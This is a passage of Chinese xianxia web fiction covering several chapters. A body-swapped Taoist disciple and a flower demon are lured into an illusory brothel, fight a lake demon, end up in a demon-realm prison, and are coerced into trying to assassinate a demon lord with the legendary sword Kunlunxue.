他催动一张显踪符,将周师兄的发丝附着其上。显踪符闪烁灵力微芒,忽暗明灭,最终渐渐黯淡消散化为飞灰。
显踪符散,只有两种可能。此人不在人界,或已身死,遁入轮回。周师兄失踪处有魔族气息,他十有八九是去了魔界。
那符灰四散腾空,随风而去。惹得天香打了个喷嚏惊醒,还是幅睡眼惺忪的模样。她怔了怔,这才发觉游奕陵并未吵醒自己,难道是昨晚的照顾,他心生惭愧?
此刻二人并无争吵,竟是罕见的和谐。见他捣鼓不知何物,天香扬起一个和煦的笑容,凑到他面前,“你在干什么?”
见他苏醒,游奕陵看着符灰淡淡道:“显踪符搜不到周师兄魂魄,很可能被掳去魔界了。事不宜迟,早些启程前去魔界。”
天香没想到,昨夜辛苦一番,这个臭道士连一句谢谢也无。原来没吵醒她,只是为了前去魔界,不由得来气,“你这个人,心里只有去魔界,怎么这般冷情?枉我昨晚辛苦照看你。”
游奕陵面容不禁微微扭曲,不想就这个问题再多加讨论,只得一语揭过,“昨夜......多谢你照顾。但你身上的天魔符也是期限将至,还是别再耽搁为妙。”
天香看他这般生分,无意再多说什么。气的拍拍衣衫尘灰,故意慢悠悠道:“前往魔界的阵法名为两界阵,可惜只有引气期修士能布,我可使不出来。”
游奕陵应了一声,若有所思,“无妨,你告知我布阵决,我来画。”
天香脸上笑嘻嘻的,继续说道:“对不起,我法力低微学艺不精,所以如何布阵也不知。”
游奕陵脸色难看一分,无奈道:“......你在耍我?”
天香见他神色,笑的更开心。见他面色阴沉不动声色,却是不敢再胡闹了。毕竟她也该早些去除天魔符回香溢斋才是,要是天天和他呆在一起,没有病也要被气出病了。
她边踱步正色道:“不逗你了,当然有。在魔族,除了天生根骨上佳的魔修,还有大量弱小的妖类,妖通常无力布设两界阵。所以这些小妖往返两界,靠的是黄泉仙阁。”
游奕陵有些疑惑,继续听她说下去。
“黄泉仙阁就是魔界在人界设立的巨型传送阵,无修小妖若是想回魔界,只需前往此处验其妖身便可前去魔界。人族也可一并前往,唯独仙族是禁止的。”
游奕陵转过身,看着她,“既如此,黄泉仙阁在何处?”
虽是正常询问,但如此近距离对上他的眼神,让她有些不自在。天香默默避开了目光,轻声道:“这我当然知道,最近的仙阁就在不远处的梅溪镇。”
若是窥虚期修士,便可瞬息前往千里之外,但游奕陵不过引气期,天香更是不会飞行之术。好在那镇子也不远,日落时分,二人终于到梅溪镇。
一座黄泉仙阁立于眼前,四角翘尖,几道红绸铺落而下。夜色将至,屋内娇俏女子的欢笑声此起彼伏,朝里还瞧见几只红灯笼。几张八仙桌,桌上酒壶跌倒趴着不省人事的客,酒液涓涓流下,浸湿半身衣衫。
此地分明是个俗人寻欢作乐之处,游奕陵觉得荒谬可笑。他语气带几分冷意,皱眉道:“这就是你说的黄泉仙阁?”
天香神情忽而有些尴尬,露出一丝踌躇,此处她也是第一次来。但地方应该不会记错,毕竟为了她能顺利返回魔界,那是青衣娘娘亲自告知的。
这么一想,定不会出错。不知黄泉仙阁里面什么样,先进了再说。她轻咳一声,掩去不自然的神情,强装平静。轻轻一拂衣袖,就要往里进,“咳,自然。”
游奕陵脸黑的不行,显然不愿接受,心道简直胡闹。不由得质问,“真的没有找错地方?”
恰逢阁门洞开,香风吹过,几瓣碎花扑面而来,拂过面庞惹人心痒。他脸色渐渐阴沉,再也忍不住,冷哼一声转身离开。
天香想拉住他,却被他避开,竟是拉不住他的手。只得一路追上去,在他身后着急喊,“喂!姓游的,你不想去魔界啦?”
走出去一阵,他终于停住脚步,却还是没转身。百般不愿意,轻轻吐出一口长气,似是下定决心。
二人进阁,只见内里别有洞天,自在飞花飘撒。这是座天窗大开的中空阁楼,共有四层,下三层坐满了客人,顶层便是留宿之处。
一楼正中是片浅池,上浮荷花几朵,桌设四周。几位女子走过,生风带香,四处充斥着酒客笑声。
她们在远处瞧见一名道士打扮的少年入内,眼中露出几分鄙夷之色。心想这道士真是道貌岸然,看着年纪不大,有些青涩,却来此地寻乐。但长的俊秀,眉眼绝伦,说不出的顾盼神飞。
只是他身后还跟着一名长相灵动俏皮的女子,看着有些眼熟。那名为首的女子低声吩咐身边人,“告诉山翠小姐,她要的人来了。”
远处用着游奕陵的身体的天香,不知有人在看着自己。进阁见此场景,她心里登时一阵后悔,这不是青楼吗?青衣娘娘不会是骗她的吧。
一群娇媚女子登时围上前来,面上攀红,缠住了天香,“好俊俏的公子,要和奴家玩会吗?”
天香夹在其中只觉脑子晕乎乎的,身上有道视线,远处的游奕陵看着她已是神色如冰,她登时流下几滴冷汗,轻咳一声忙道:“姐姐,我不是来玩的。替我和小二说声,要一壶月满春。”
听闻这三个字,那人敛去媚眼,轻笑道:“原是贵客,几位稍等,请先自行落座。”
那女子带着其他人离开了,天香与游奕陵在一层角落里一张八仙桌落座。游奕陵望着天窗沉思,夜幕落下,明月高悬,月色洒落仙阁,衬得歌舞轻灵杳眇。
天香趁着无人,轻轻一笑,解释道:“今日是上弦月,只有这张桌子会被月光整晚覆盖,所以坐这里。”
游奕陵应了一声,收回目光神色如常。
半晌,一名身着绿衫的美艳女子出现,施施行来躬身。瞥了一眼游奕陵,又看向天香,附身在她耳畔道:“是你
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要的月满春吗?”
天香压低声音,“是。”
那女子带着笑意,继续道:“这酒烈的很,客官真要来一壶吗?”
绿衫女子离天香极近,她觉得对方的眉目有些熟悉,似乎在哪见过,却是怎么也想不起来。
待片刻回神,那女子也不恼,只是静静立于一旁,等她接话。天香忙不好意思的回道:“......既然,既然酒太过醉人,就为我备间上房,今晚住下。”
绿衫女子婉转一笑,别有深意。眉眼俏丽,却看不清眼底,应了一声离去。稍后一名奴仆前来,将二人领至四楼一间上房前离开。
那房门自动打开,二人入内。陈设简单,正中一张垂着红软细幔的床,被褥则是绣银边淡黄暗花底的,颇为精致贵气。天香毫不犹豫躺了上去。
游奕陵扫过整间房,皱了皱眉。此处也有那种奇异的花香,和仙阁一楼的一模一样。
天香不知他心中所想,只在软床轻声上招呼着,“你我二人,躺在这张床上,待片刻后沉沉入睡,醒来便到魔界了。”
游弈陵双目宛如静川明波,凝视屋内开着的窗,“嗯。”
天香见他躺下,心中莫名有些安心。异香中夹杂着窗外飘进来几丝荒草木气,身边凹陷下去,奇异的驱散几分畏怯之感。
已入夜,屋外的静谧与仙阁内的欢愉对比,有种不真实的感觉。他躺下只过片刻,天香就在他身畔睡着了。
果然,这异香有问题。他心中默念灵源归一,心静如水。如此循环往复,暗中施展了清明咒,才没有被迷晕。
屋外不远处有脚步声传来,他闭上双眼装睡。一名奴仆在屋外见二人皆已入睡,竟直接关上房门落锁。
听闻落锁声,游弈陵才睁开双眼。屋外之人已走远。
那个绿衫女子,到底想干什么?那间窗户开着,若是翻窗轻功至阁外,或许能一探究竟。
他看了一眼身旁熟睡的天香。二人互换身体,此刻还要分别,但别无选择。否则困于此处,危机重重,更是难寻破解之法。
月下他身手轻盈矫健,徐徐缓缓,翻窗而出。而后衣袂翻飞,倏忽间,已转瞬不见。
游弈陵足尖轻点,身姿潇洒,沿着阁外瓦砾飞略过,却是悄无声息。直至另一扇虚掩的窗前,
屋内红烛明灭,凭生股幽静之感。
借着烛光,那绿衫女子坐于床沿,手中拿着一张符纸,细细摩挲。眼中竟露出一丝哀怨。
游弈陵一愕,他不会认错。那符纸上的残留灵力异常熟悉,正是周术师兄的!
只见绿衫女子身边正是将他们房门落锁的奴仆,奴仆恭敬道:“山翠小姐,迷花香已起作用了。”
山翠点了点头,叮嘱道:“此事万万不可出岔子,三日之后平等王城雀南阁献宝宴,青衣娘娘要穿那绛绡妖裙。”
奴仆低头,“是,小姐。那个人类男子如何处置?”
山翠头也不抬,仍就看着那张符纸,随即扬起一丝深不可测的笑弧,“嗯,那只彼岸花妖留下剥皮制裙。至于那个人类男子,便喂荷花池的湖脊魔吧。”
游弈陵屏息凝视,来不及思考为何周师兄的符咒会在她身上。偷听着屋内对话,才发觉昏迷的天香有危险。
正准备离去,山翠察觉动静。她灭去烛光,顿时抬手将残烛飞出,盯着窗外厉声问道:“谁?!”
5. 第 5 章
游奕陵侧身躲开那只红烛,来势太过凶猛,他步子稍加不稳,踩碎几片瓦砾,碎屑窸窸窣窣,顺势滑落屋檐。那扇虚掩的窗已被吹开,山翠这才移目看清来人。
山翠没想到,来人实力竟也不弱。她微微一滞,忽而反应过来。这才蓦然惊觉,不由得呆住,“你是彼岸花妖!”
游奕陵此刻借着天香的身体,只见山翠注视自己,目光充斥着难以置信。她怎么也想不到那只花妖竟能逃脱花迷香,还在短短几天修为已至引气期。
游奕陵双眸一动,二指夹一张符箓散发纯白灵芒。心中不知是怒是恨,冷冷道:“为何你手中有周师兄的符咒?”
突生变,那奴仆还有些心神不定。山翠已冷笑一声,先发制人朝他拍出一掌,暗中施决。
花妖元神中有她的天魔符,此咒虽极其阴毒,一旦下此咒符必须本人解除。却也有风险,使用天魔符需得确认自身修为高于对方,否则下咒即刻施咒者便会身死。
这彼岸花妖毫无修为,自然可以随意施展天魔符。
游奕陵神情冷峻,掌心幻化白芒飞剑射出。那张符咒化光火附着剑身一齐飞去,只见他发丝翻飞,神色傲然。
山翠定神看去,觉得此花妖虽容貌不改,明媚无邪。神色却无端清朗,身手了得,竟似素不相识。她只转过这一个念头,一瞬差池,却是来不及避开飞剑,眼睁睁看着剑芒已逼至眼前!
情急之下,一个身影闪过,是奴仆舍身替她挡下。可惜修为尚且薄弱,不由口吐鲜血。
山翠来不及迟疑,想不到这花妖去了天璇宗一趟,竟能习得罡气化剑这等内门心法,对付起来顿时棘手许多。
加上方才她竟质问自己周术去向,想必是在天璇宗呆了几天,真当自己是个道士了,可笑。只是妖族明明体含浊气,使不出这等心法,但此刻她已无暇细想。
对方于她功法明明相若,却不知为何交手时她总是略生败像。此花妖不对劲,身上似有深厚功力,隐藏极深,远不止看上去的几年修为。
游奕陵此刻也看出了她的身份,她便是天香口中为其打下天魔符,迫使她来天璇宗窃取驻颜丹的青衣娘娘贴身侍女,山翠。他再度射出几缕剑芒,化丝为网,朝山翠疾飞去。
山翠闪身避开,再也站不稳竟是跌坐在地。被白芒触碰之处如火灼般疼痛,脸颊幽幽滑落一丝殷红。
无妨,此花妖身上有她布下的天魔符,只要施咒之时对方修为不及自己,哪怕后续提升境界也是无可奈何。
山翠心随念动,双手撑着爬起来,忍住身上烧灼之痛。双目一闪,妖瞳显露,周身散发黑雾,此乃催动天魔符之相。
那黑雾愈发浓烈,却是陡然制住了,山翠没有料到,此花妖身上竟然没有天魔符!不对,只一瞬她便反应过来,难怪这花妖竟能使出罡气化剑,这不是她,这是找了高人上身。
天魔符印在元神上,自然随魂离而动。只是借用移魂术风险极大,稍有不慎便会魂飞魄散。想不到此花妖还挺狡猾,料到她必会丢了性命,不惜靠移魂术反除歹人。
山翠心已了然,力渐不敌,忍不住嘲讽,“不知是哪位高人啊,不惜动用移魂术救此花妖?”
游奕陵脸色登时有些阴沉,又黑几分。实则根本不是移魂术,况且移魂术他早已试过了,仍旧无法解除这身体互换。一想到自己身体还被天香借用,可能随时遭遇不测,他更是语气森冷,逼问道:“说出周师兄下落。”
见高人反而怒极,山翠倒是愣住了。不禁打了个寒颤,原是心系周术下落之人,此人应当也是天璇宗弟子。她沉思,莫非这高人上身并非本愿?
此时,游奕陵所呆的屋内也开始褪去幻境,显露破败之色。一切都是幻象,此地根本不是什么黄泉仙阁,只是为了捉走天香剥皮制裙而设的陷阱。
山翠面色苍白,仍旧不肯说。显然此高人的法术远胜于她,可周术早已身死,若是此刻暴露恐怕自己更难脱身。
游奕陵身姿落拓,眸光沉静,注视着山翠越发凌冽,冷笑道:“你还要逞强?”
山翠愤恨的回视,又忽的想起了什么。嘴角扬起弧度,目光阴冷笑道:“你再耽搁一会,那人类男子可就要被湖脊魔吞如腹中了。”
游奕陵心口一跳,掌中剑气欲飞又止。眉心微蹙,迟疑片刻,最终不在恋战朝荷花池飞掠去。
另一边,天香借着游弈陵身体,躺于软床熟睡。忽而一阵阴风吹过,一只妖出现在床榻边。
那只出现在天香床榻边的小妖古怪一笑,凭空变出一口朽木棺材,散发阵阵恶臭。施展五鬼遁法,瞬息间天香已被搬到了那只朽木棺材中。棺盖一封,黑雾一散,连妖带棺顿时于原地消失不见。
四周阴冷潮湿,狭小逼仄,天香是被冻醒的。
她只觉腰酸背痛,衣衫都粘湿了。朽木在池水浸泡下散发一股腐败气,她奋力打开棺材盖,茫然望向四周。只见自己坐在这口棺材里,缓缓飘在那仙阁正中一楼的莲花池中。
周围一片死寂,那里还有什么宾客云集和巧笑嫣然的斟酒女。原来一切都是幻象,破败的阁楼柱上布满裂纹,尚且能在厚厚积灰下窥见绛漆底色。远处半张木桌歪倒在地,正中只余一池死水,蚊蝇飞过几支腐烂干枯的荷花茎。
见这幅场景,她顿时吓得冷汗涔涔,不由得大喊,“奕陵!喂——姓游的,你在吗?”
可惜周围没有任何人,他明明方才还在身边,现在不知去了哪里。天香心中不安,坐在朽木棺中,伸手划水。还是先靠岸,这池水也太臭了。
倏尔,那显黑的池水居然涌动起来,像是底下有什么巨力推动池水般。
她慌乱的摇了摇头,明明躺在上房的床上,为何醒来却是这般模样。难道这就是魔界?不对,这里还是人界。天香脑中一片空白,湿淋淋的狼狈爬上岸。
忽的身后池塘传来闷响,她闻言转身。那池水居然尽数掀起,木棺四分五裂,一只四角趴地的巨大妖兽冲出乌黑水面,眼珠惨白无瞳仁,背上散阵阵青黑荧光。
她望着散发青烟的魔兽,没反应过来,喃喃低语,“好,好大一只哈蟆......”
原来寄生于莲花池,以背为池脊,故为湖脊魔。湖脊魔至少已达锻体期,天香根本不是他的对手,她跌坐在地上,身躯有些颤抖,哭丧着脸心里把游奕陵骂了一万遍。
想必他早知此地为幻境,有只巨大魔兽蛰伏。早就以自己为饵逃跑了,但他不要自己身体了吗?他再不来,她就要像翅虫,变成哈蟆的吃食了!
湖脊魔根本不给她反应机会,青芒闪动低吼一声,池中黑水浑浊搅动,朝着天香飞跳而来。
面对锻气期魔修,她毫无胜算。但转念一想,这位大哥也是魔界之人,或许还有沟通的余地呢?她大喝一声,“这位哈蟆大哥!你杀错人了,我......我也是妖魔!”
青芒闪过,湖脊魔面带不悦,不知这人类男子耍什么花招,不过他迟早是自己的腹中餐。此人虽是个男子,却如此胆小。他果真停手,一边嗤笑道:“小小凡人,竟敢装作魔界之人?”
天香知其不肯亲信自己,忙道:“我哪敢骗哈蟆大哥,我真是魔界的人。我是魔界香溢斋里的厨子,还知道魔界转轮城有位青衣娘娘,她有个侍女叫山翠......”
听闻山翠的名字,那湖脊魔一骇,随即脸色大变,“你认识山翠?”
天香敏锐的捕捉到了他的反应,故作意料之中的接话,“啊!那,那是当然啦......我与她交情不浅。”
湖脊魔大怒,浑白眼珠散出黑青雾气,“呸!那妖女将我禁锢在此,你与她既为同
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党,今日非死不可。”
天香心下一惊,脸上登时失了血色。没想到竟然触了哈蟆大哥霉头,连连摆手,“不,不是!哈蟆大哥,我与她不熟,我根本不认识她。”
他湖脊魔,堂堂锻气期魔族。只是他虽早有人形,却是此身更方便。这个凡人竟称他一只紫金蟾蜍为哈蟆。
况且此人虽为男子,却是胆小如鼠,令人生厌。他重重的哼了一声,一阵大风裹挟污水向那凡人袭去,“满口胡言,拿命来!”
天香被那大风推开,不敌后退几步。站不稳摔落在不远处,脸上露出惧色,强忍着疼痛道:“哈蟆大哥,手下留情!”
天香面容急切,心中闪过无数念头。二人差距过大,此战是毫无胜算的,不如求饶耍赖拖时间,能撑一会是一会。
只是游奕陵还不来,难道真的丢下她了?没想到他宁可不要这幅躯体,也不愿冒险来救她,愈发慌乱,她此刻还念着他,想来真是瞎眼看错了人。
下一刻,白芒闪过,剑气已至。游奕陵漆黑如墨的瞳孔微缩,左手作攻势,右手向天香掷出一只瓷瓶,只瞥见衣袍一角,他已利落的停在她身前。
湖脊魔被打翻入枯荷池,溅出一滩浑水。无仁眼珠微眯,背上青黑芒更盛,反倒狂笑,“哈哈哈,你是何方高人。竟是只花妖,如何会这等高深道术?”
天香拔开塞子,一粒清香扑鼻的药丸滚落掌心,那丹粒入口化水,伤势瞬时痊愈。她长舒一口气,姑且算姓游的有良心,心想二人互换了身体,即是共同体,他怎么可能丢下自己呢?
天香顿时高兴起来,“嘿嘿,算你有良心,我就知道你会来救我的!”
湖脊魔心中冷笑,原来是那胆小鬼的同党。这只花妖虽长得一副柔弱模样,修为却是不浅,举手投足有股飘逸之风。怪事,二人的形象竟都十分不符。
“来者不善,过过招吧。”湖脊魔不多废话,身下污水化点,输注魔气结成利刃状。一齐袭去,二人周围尽数被黑魔刃包裹,天罗地网无处可逃。
游奕陵不敢分心,一按眉心,指向湖脊魔。只见一道白芒光剑疾驰而出,向着那浑浊无仁的眼珠迅疾飞去。
湖脊魔受击痛苦的大吼一声,他本有六成胜算打赢此战,却是被发现了弱点。他那看似无用的眼珠,实则命门所在。情急之下顾不得其他,胡乱操纵起那些黑魔刃来。
游奕陵再凝光剑,劈开黑魔刃帘。借力一挥,黑魔刃受外力为引反向湖脊魔攻去,对方连忙潜入枯荷池中躲避,确是故步自封。他一招十通印,将魔兽封入池中。
天香咽一口水,不敢上前,万一封印又被破开了呢?由于害怕被波及,她始终离远远的。
“送我们去魔界。”游奕陵指尖凝结光剑,停于魔兽眼珠一寸,淡淡说道。
湖脊魔被压制在池中,十通印下修为大退,却是心中愤恨不愿随他意。只道是方才大意,妄想破出再战一场。
只可惜这花妖不容小觑,实在古怪的很,还是不要招惹为妙。既然这两人想去魔界,不如将计就计,送他们到那个地方去......
“哼,一只花妖和一个人族。实话告诉你们,吾乃平等王麾下家臣,被山翠那妖女囚禁于此。既然你们想去魔界送死,那就成全你们。”湖脊魔发出怪笑。
他们身下忽然出现一张纹路复杂的阵法,散发紫光,正是两界阵,只一眼游奕陵便记住了。那阵法光芒陡然激增,渐渐将两人吞噬。
下一秒,二人竟在一座牢笼里出现。此地恶臭熏天,暗无天日,偶尔还瞧见只水老鼠和赖头蛇在角落闪过。
天香顿觉不妙,只见身旁几名囚徒打扮的魔族。她忍不住上前问道:“这,这是哪里?”
那魔族嗤笑,“你不会以为,装傻能出去吧?此地可是雀南阁死牢,别想了。”
6. 第 6 章
天香怔忡了半晌,慢慢回过神来,几乎以为自己听错了,“你说什么,雀,雀南阁死牢?”
旁边那身着囚衣的魔族却是懒得与她再说,摇了摇头,找到个堆着潮湿发黑的稻草垫处坐下。
天香不禁感到有些头晕目眩,脸上挂着丧气,只道完了,心中万念俱灰。没想到她命途多舛,这才刚刚逃离臭哈蟆,又到了平等王城的雀南阁死牢。
“雀南阁,明日的献宝宴......”游奕陵皱眉环视一圈,看着远处而来的魔族弟子狱守。
死牢里,就算是神仙也跑不掉啊。难怪臭哈蟆把他们传送来此,正是想下死手。天香脸上的表情几乎可以称得上绝望,喃喃自语,“这下真完了.....香溢斋还欠我几块灵石的工钱,我怕是没命拿了。”
狱守身后跟着几个魔族,走至牢房前,突然笑了一声。那笑声,让人听了通体生寒。他一出现,囚犯便都低下头去,不敢言语。为首的狱守环视一眼牢房,和身后人低语,“这几个,姑且瞧着还算顺眼。”
随后他露出满意的笑容,懒洋洋的伸展四肢,大声宣布道:“算你们几只老鼠走运,明日雀南阁献宝宴,各大城王皆会出席。光是献宝不免无趣,最好来点助兴斗乐。这等好事,可不是谁都能轮到的,若是赢得头筹,便可照例赦免。”
话是这么说,可所谓斗乐,不过是几个死囚在台上生死相搏。赢者对赢者,直到最后活下的那个才能赦免。乍一听不错,实则惨无人道,还不如死在牢里。
天香曾听过斗乐,反应过来便心下一沉,感到自己几乎要崩溃了。不由得焦急,大声呼喊狱守,“狱守大人,我们根本不是死囚,是被冤枉的,一朝不慎,被只臭哈蟆暗算传来了这里。放我们出去呀!”
狱守猝不及防,没想到这个人类男子这么大胆。笑了笑,故作诧异之色,“是吗?你不是在骗我吧?”
“怎么会!我说的都是实话。”天香脸上露出喜色,见狱守竟肯听她说话,忙不迭地回道。
谁知狱守当即带人离去,没再看她一眼,冷哼一声,“想跑?死了这条心吧。”
天香不由得心里一震,顿时泄了气。没想到这狱守竟然是非不分,全然不顾!她眼眶微红,暗暗咬紧牙关想冲出去,却又无力破开这牢房的封印。不管怎样,只要能逃出去就行......
她想到游奕陵,随即看向他。眼中燃起希望,又不敢高声言语,只得贴近他道:“你有办法出去吗?”
游奕陵微微摇了摇头,“没有。”
天香颓然的垂下眼,有些失望,声音也逐渐细如蚊鸣,“......真的没有吗?”
想不到没能见到青衣娘娘,也没能除去身上的天魔符封印。现在更是被关在死牢里,连活下去的希望都看不到。却不知为何,她怕归怕,心里只想着自己在香溢斋还有工钱没结,那些灵石她攒了很久。
游奕陵见她垂首,看了她一眼,说道:“青衣根本没想留你性命。那绛绡妖裙需妖皮制成,若不是我救你一命,你已被捉去剥了皮。”
天香愕然抬起头,茫然的睁大眼,“......原来青衣娘娘是骗我的。”
游奕陵也觉得心头烦乱,他为调查周师兄死因而来。若是为此深入魔界丢了性命,他也只怪自己功力尚浅。至于这只魔界花妖,本与他毫无关联。
原本她既没有伤人,也可饶她一命。可如今二人灵魂互换,竟成了一条绳上的蚂蚱,不得不帮她。不知天魔符发作,她若是魂飞魄散,自己能否拿回身体。
雀南阁是平等王的家府,魔界如今以平等王、转轮王风头为盛。魔界本是以前魔君为首的碧岚宫为尊,如今不少碧岚宫下属改为平等王效力,导致地牢守卫也更加森严。
天香也知道游奕陵已帮了她一次,此刻落难实属意料之外。但事已至此,竟是别无他法,只能待明日参加献宝宴了,也不知那献宝宴献的究竟是什么......
借着冰冷的潮湿发霉草席,二人无言的度过了一夜。
不知过去多久,狱守才再度出现,开了牢门。众人依次排序,手腕上缚的锁链发出啷当一声,不知前路如何,缓步随着向外走去。
众人一齐被带到了雀南阁曲径堂。她排在游奕陵身后,仰着头,日光有些刺眼,看不清周围场景。
九曲回廊于正中穿过,堂厅被一分为二,下有碧溪涓涓流过。中段最宽处摆几张牙雕条桌,坐着好几位生面孔魔修,竟都是藏胎境以上修士,他们身后站着些人,应该是随行下属。
魔族天生命格残缺,不入轮回,身死则灰飞烟灭。其余族类若是天资有限修为难以突破,到了一定境界,也可寻求其他转生重修之法,唯魔族不行。好在夺取了长生,只要不身死,可享无尽寿命。故活下来的魔族几乎没什么善茬,都是修为深厚的老妖怪。
他们几人被带到远处由平等王下属看管,游奕陵看着远处几名魔修,微微出神,不知为何觉得有些眼熟。
今日平等王城雀南阁献宝宴,各位城主都到齐了。正中主席坐一魁梧男子,意气风发,满脸喜悦,正是平等城主雷行。
不远处落座一名女子身姿绰约,只是身着湖中月纹鹅黄衫,那条绛绡妖裙却是不见踪影。正是转轮城主的夫人,青衣娘娘,此刻她缓缓抬手倒酒。
她身旁那人坐的随意,领口袖口却束得端正。身着白衣,缥缈如云。发丝也一齐笼于京白玉冠中,远远望去,端丽无双。眸光深邃,脸却在逆光中,看不清表情,便是转轮城主衍决。
魔界几百年间,势力变换涌动。平等王城大旺,渐渐占主导地位。转轮城主衍决作为其竞争对手,明明觊觎魔君位子,却反其道而行之。半月前他命人通知平等王城,说他仰慕平等王威名,竟愿主动献出上古神剑昆仑雪。
昆仑雪乃是前魔君遗物,当初机缘巧合下为转轮王所得。神剑无可匹敌,可惜认主有灵。当年魔君无奕执剑统领魔族,傲视仙界。他失踪后,竟再无人可拿此佩剑,令人唏嘘。
衍诀举起翡翠盏,微微一笑如霁风朗月,眼中却并无笑意,目光静若幽潭,深不见底,“雷兄英姿勃发,实有魔君之姿。今日献宝宴,诸位城主无一不折服于雷兄雄才。”
许是无人能持此剑,转轮王也觉得
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平等王更适合坐魔君的位子,他便主动让出此剑。此举无疑表明了态度,于是其余卞城、五官、渠广城主也纷纷出席此宴,献上珍物,实为献宝有功,请得平等王照拂。
其余城主听闻,纷纷拱手举杯,做附和状,“转轮城主所言极是。”
雷行大喜,“哈哈哈!好,今日便等着衍弟的绝世大礼了。”
衍诀笑而不答,今日好风无限,叠石疏泉间更显他身姿挺拔。他坐在那,侧脸半明半暗,明明是场欢宴,却好似脱身于场外。
他拿起翡翠盏轻抿一口,放下后掌心凭空出现一件物什,略带闲心的把玩。光润墨黑,那居然是一枚黑棋子。
下一秒,衍诀竟抬起头,仿若无意识看向了他们。天香一骇退后,连忙低头。遭了,要是被青衣认出。就会知道他们从山翠手底下逃跑了!
游奕陵在身后扶住她,感到腰间贴近衣物传来他的体温,她才安心些。他长睫微垂,低声道:“不必担心,他并无臣服之意,应该有更重要的事做。”
几位城主两三句虚与委蛇,不远处的台上的死囚已开始奋力武斗,既是生死斗,必定有胜负。可叹他们以命相搏,在这几位魔修看来,却不过一场玩乐。
她还未明白游奕陵的话中意思,山翠已走至狱守跟前。说青衣娘娘想讨两个死囚,要去做奴仆,点了天香和游奕陵。狱守没有拒绝的道理,拱手放了人。
他目光一瞥,青衣已心中知晓。命山翠已经把他二人带走,柔声对身旁人道:“王,我去去就回。”
衍诀双眸柔和清澈,却没有温柔的情绪,看也不看她一眼。微微一笑,应了声,将杯酒饮尽。
宴上,各大城主已经开始献上宝物。有孤本惊世功法《追天术》、滋补绝品丹七花阳宝露,更甚者送上西陵岛绝艳女妖。但在平等王眼里,唯有昆仑雪才是他想要的。
二人被带到稍远处,镣铐已解开。青衣先是扫了二人一眼,开口道:“没想到你们能从湖脊魔手中逃走,真是命大。”
青衣这才注意到,天魔符竟在这人类男子身上,顿时想通了什么。没想到这小花妖看着挺心思单纯,却找了个小道士心甘情愿给她替死,原来颇有手段。
再看这小道士,也有些身手。她笑了笑,竟是找对人了。
眼下这件事,交给他人未必有身手。交给能办的人又未必愿意干,交给他们却正合适。青衣不再遮掩,“有一事,你们若是办成,我便许你们一条活路,如何?”
一边,山翠呈上一只雕花漆匣,此匣平平无奇,却透出浓郁灵气,显露出其中宝物的不凡。
山翠将匣子打开,里面是一柄轻剑,上布暗细刻纹,手柄处是整块琬琰雕凿,浑然天成俊丽大气,剑穗暗红,乃蓬莱石榴金丝织就。
剑光翩飞,惊鸿照影。剑身这般潇洒秀丽,谁能想到,这是劈山海引狂澜的上古神剑昆仑雪。
游奕陵望着这把剑不知沉思什么,天香只觉得这么漂亮的剑,应该......很值钱吧?
青衣继续道:“此乃昆仑雪,正是前魔君遗物。我要你们用这把剑,刺杀平等王。”
7. 第 7 章
青衣也不急着他二人回复,自顾自继续,“其实今日献宝宴暗伏杀机,我早备好几位高手刺杀平等王。却未料这厮戒备心重,竟暗中把高手尽数除去……”
“如今昆仑雪绝不可落他手中,你二人沦为死囚,想必是那魔兽反将你们一军。如今你们也跑不出雀南阁,这买卖如何?做是不做?”
天香心中充斥着不安。虽是询问,但根本没有拒绝的权利。若是不答应,就只能继续做死囚。况且青衣已将计划告诉他们,若是不答应唯恐泄露,怕是会当场杀人灭口。
游奕陵看着青衣,冷面道:“孤注一掷。”
青衣笑了笑,“反正你们横竖都是死,不如赌一把呢?”
远离僻静的角落里,远处却是杯觥交错。
宴会上,五官城主献上一颗玉瘴珠。这是南海玉蛟龙浑身鳞片和双眼炼化的魔珠,含有玉蛟剧毒,世间难寻解药。本是件稀罕物,又生的灵巧,适合当做法器。
五官城主谄媚道:“这玉蛟龙遗骸是我千年之前在人界一处大能飞升洞府内偶然所得,我用南明离火淬炼五百年而成,吾将此物献于平等城主,必定实力大增。”
但雷行只是看了一眼,挥一挥手,没有多少兴趣,便唤下属将珠子拿了下去。那五官城主吃了憋,只得灰溜溜回座。
衍决面色如玉,勾起嘴角,如闲花淡春。凤眸却幽暗,神色复杂,“不必扫兴,雷兄定是迫不及待见到昆仑雪了,我这就取来。”
雷行喜上眉梢,顿时饮下一杯,豪爽笑道:“还是衍弟懂我!”
正当众人静候转轮王献上传闻中的昆仑雪,青衣娘娘带着人走上廊桥前来,身后两名奴仆抱着一只漆黑长型木匣。只是这两名奴仆略显眼生,众人只知道山翠,这两位却是生面孔,从未见过。
但只是奴仆罢了,换一个也没什么,众人也未多想。青衣不动声色的看了一眼平等王。衍诀一手轻轻托腮,面容柔和几分,淡淡望着那两个奴仆,等一出好戏。
很好,挑死囚干这件事,如果成功最好,失败也不可惜,还可以推脱到死囚身上。他扬着头,唇角一丝笑意,似是心情大好。
献剑只是个幌子,怎么可能真把昆仑雪给那个蠢货。衍决低声吩咐身后人,“将雀南阁外的人马调来。”
待到走至平等王桌几前,青衣摆一摆手,天香打开那只盒子。
昆仑雪真容显现,平等王大喜,正要上前。他身旁那位贴身下属先走上前来,低声禀告道:“城王,在下将剑取来。”
天香眼中闪过一丝无措,心中涌起惶惶。糟糕,若是剑被下属取去就没机会刺杀平等王了。她看向游奕陵,他面上平静,只是轻微摇头,示意按兵不动。
好在雷行此刻只想仔细瞧瞧这把绝世宝剑,按耐了这么久,终于能得到昆仑雪了。他不耐烦的让下属退后,自己直接上前亲自近距离观赏此剑。
青衣曲意逢迎的称赞平等王,为其介绍起昆仑雪来,“此剑名昆仑雪,身长约二尺,上刻古暗纹。剑柄是华英琬琰雕凿,剑穗是石榴金丝织就,实属罕见。”
雷行心满意足,光是看着这把剑,就仿佛回到上古开元,看出几分锐不可当的气势。
他离剑很近,正是看的入迷,欲拿起昆仑雪挥舞一番。
不好,若是剑被拿去,行刺就难了!青衣看向二人,眼中闪过一丝催促。天香离雷行更近,此刻正是她下手的好时机!
天香心里打着鼓,看见青衣的神色,踌躇不敢向前。看一眼游奕陵,他微微蹙眉。雷行一双眼目不转睛正盯着昆仑雪,时机稍纵即逝,此刻不下手怕是没机会了。
游奕陵沉沉看着雷行,伸手欲向昆仑雪。但他的位子容易暴露,不是最佳选择,可时机耽搁不得。关键时刻,最终天香拿起昆仑雪,闭上眼一咬牙,向平等城王刺去!
